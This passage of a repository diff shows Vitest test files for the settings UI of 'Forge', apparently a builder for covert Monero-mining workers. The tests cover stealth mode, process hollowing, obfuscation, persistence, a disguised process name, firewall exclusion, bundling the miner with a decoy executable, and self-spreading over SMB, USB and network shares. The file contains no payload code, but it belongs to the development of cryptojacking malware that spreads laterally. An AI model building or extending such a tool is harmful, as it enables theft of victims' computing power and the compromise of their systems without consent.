expect(idle.idle_threshold_pct.disabled).toBe(false);
|
||||
expect(idle.idle_duration_minutes.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.idle_threshold_pct.disabled).toBe(true);
|
||||
expect(always.idle_duration_minutes.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables schedule fields unless mining mode is scheduled', () => {
|
||||
const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
|
||||
expect(scheduled.schedule_start.disabled).toBe(false);
|
||||
expect(scheduled.schedule_end.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.schedule_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks file_logging under stealth mode', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
|
||||
expect(meta.file_logging.disabled).toBe(true);
|
||||
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
|
||||
});
|
||||
|
||||
it('locks persistence under scheduled/service run_as', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
|
||||
expect(meta.persistence.disabled).toBe(true);
|
||||
expect(meta.auto_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks fusion when spread kit is on and vice versa', () => {
|
||||
const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
|
||||
expect(spread.fusion_enabled.disabled).toBe(true);
|
||||
expect(spread.target_os.disabled).toBe(true);
|
||||
|
||||
const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(fusion.spread_kit.disabled).toBe(true);
|
||||
expect(fusion.target_os.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('requires fusion fields only when fusion is enabled', () => {
|
||||
const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
|
||||
expect(off.fusion_prep.disabled).toBe(true);
|
||||
expect(off.fusion_run_order.badge).toBe('requires');
|
||||
|
||||
const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(on.fusion_prep.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables unix-incompatible fields on linux/darwin', () => {
|
||||
const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
|
||||
expect(linux.process_hollowing.disabled).toBe(true);
|
||||
expect(linux.obfuscate.disabled).toBe(true);
|
||||
expect(linux.target_arch.disabled).toBe(false);
|
||||
|
||||
const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
|
||||
expect(windows.target_arch.disabled).toBe(true);
|
||||
expect(windows.sign_build.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('marks output_dir and obfuscate as server-only', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
expect(meta.output_dir.badge).toBe('server-only');
|
||||
expect(meta.obfuscate.badge).toBe('server-only');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeLiveNotices', () => {
|
||||
it('returns empty array for a plain windows form', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
|
||||
expect(notices).toEqual([]);
|
||||
});
|
||||
|
||||
it('warns about service run mode', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
|
||||
expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when scheduled/service lacks persistence', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ run_as: 'scheduled', persistence: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fusion enabled without prep upload', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
|
||||
});
|
||||
|
||||
it('includes AI Ollama notice when AI is enabled', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fixed threads ignores adapt_to_hardware', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on pool TLS/port mismatches', () => {
|
||||
const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
|
||||
expect(p443.some((n) => n.includes('Port 443'))).toBe(true);
|
||||
|
||||
const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
|
||||
expect(p3333.some((n) => n.includes('3333'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on low max CPU with high thread percent', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('throttling'))).toBe(true);
|
||||
});
|
||||
|
||||
it('describes universal, spread kit, and fusion deliverables', () => {
|
||||
const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
|
||||
expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);
|
||||
|
||||
const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
|
||||
expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);
|
||||
|
||||
const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
|
||||
expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
|
||||
});
|
||||
|
||||
it('notes single-platform unix install paths', () => {
|
||||
const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
|
||||
expect(linux.some((n) => n.includes('linux worker'))).toBe(true);
|
||||
|
||||
const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
|
||||
expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on universal without deliverable type', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/settingHelp.test.ts
Normal file
133
server/web/src/help/settingHelp.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
|
||||
|
||||
describe('SETUP_CHEATSHEET', () => {
|
||||
it('defines four setup steps in order', () => {
|
||||
expect(SETUP_CHEATSHEET).toHaveLength(4);
|
||||
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
|
||||
'1. Calibrate once',
|
||||
'2. Forge (Simple mode)',
|
||||
'3. Deploy',
|
||||
'4. Watch the fleet',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each step has non-empty title and body', () => {
|
||||
for (const step of SETUP_CHEATSHEET) {
|
||||
expect(step.title.trim().length).toBeGreaterThan(0);
|
||||
expect(step.body.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('mentions key workflow concepts in bodies', () => {
|
||||
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
});
|
||||
});
|
||||
|
||||
describe('FIELD_HELP', () => {
|
||||
const expectedKeys = [
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
'obfuscate_default',
|
||||
'sign_enabled',
|
||||
'sign_cert_thumbprint',
|
||||
'sign_tool_path',
|
||||
'sign_timestamp_url',
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'output_dir',
|
||||
'wallet',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'pool_tls',
|
||||
'pool_pass',
|
||||
'threads',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'max_cpu_usage_pct',
|
||||
'max_memory_percent',
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
'schedule_end',
|
||||
'display_mode',
|
||||
'process_name',
|
||||
'persistence',
|
||||
'run_as',
|
||||
'silent_mode',
|
||||
'auto_start',
|
||||
'fusion_enabled',
|
||||
'fusion_run_order',
|
||||
'fusion_prep',
|
||||
'fusion_media_mode',
|
||||
'fusion_output_name',
|
||||
'fusion_batch',
|
||||
'install_base',
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'websocket_ping_seconds',
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'open_firewall_on_start',
|
||||
'file_logging',
|
||||
'stealth_mode',
|
||||
'ai_enabled',
|
||||
'ai_ollama_endpoint',
|
||||
'ai_model',
|
||||
'process_hollowing',
|
||||
'mesh_p2p',
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'hole_punch',
|
||||
'remote_aggressive',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'spread_kit',
|
||||
'forge_deliverable',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
|
||||
});
|
||||
|
||||
it('each help entry is a non-empty string', () => {
|
||||
for (const key of expectedKeys) {
|
||||
const text = FIELD_HELP[key];
|
||||
expect(typeof text).toBe('string');
|
||||
expect(text.trim().length).toBeGreaterThan(10);
|
||||
}
|
||||
});
|
||||
|
||||
it('wallet and server_url entries warn against localhost', () => {
|
||||
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
|
||||
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
|
||||
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
|
||||
});
|
||||
|
||||
it('fusion entries describe decoy bundling', () => {
|
||||
expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
|
||||
expect(FIELD_HELP.fusion_prep).toContain('decoy');
|
||||
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
|
||||
});
|
||||
|
||||
it('advanced spread entries describe lateral/USB/share behavior', () => {
|
||||
expect(FIELD_HELP.auto_spread).toContain('SMB');
|
||||
expect(FIELD_HELP.usb_spread).toContain('USB');
|
||||
expect(FIELD_HELP.share_spread).toContain('share');
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user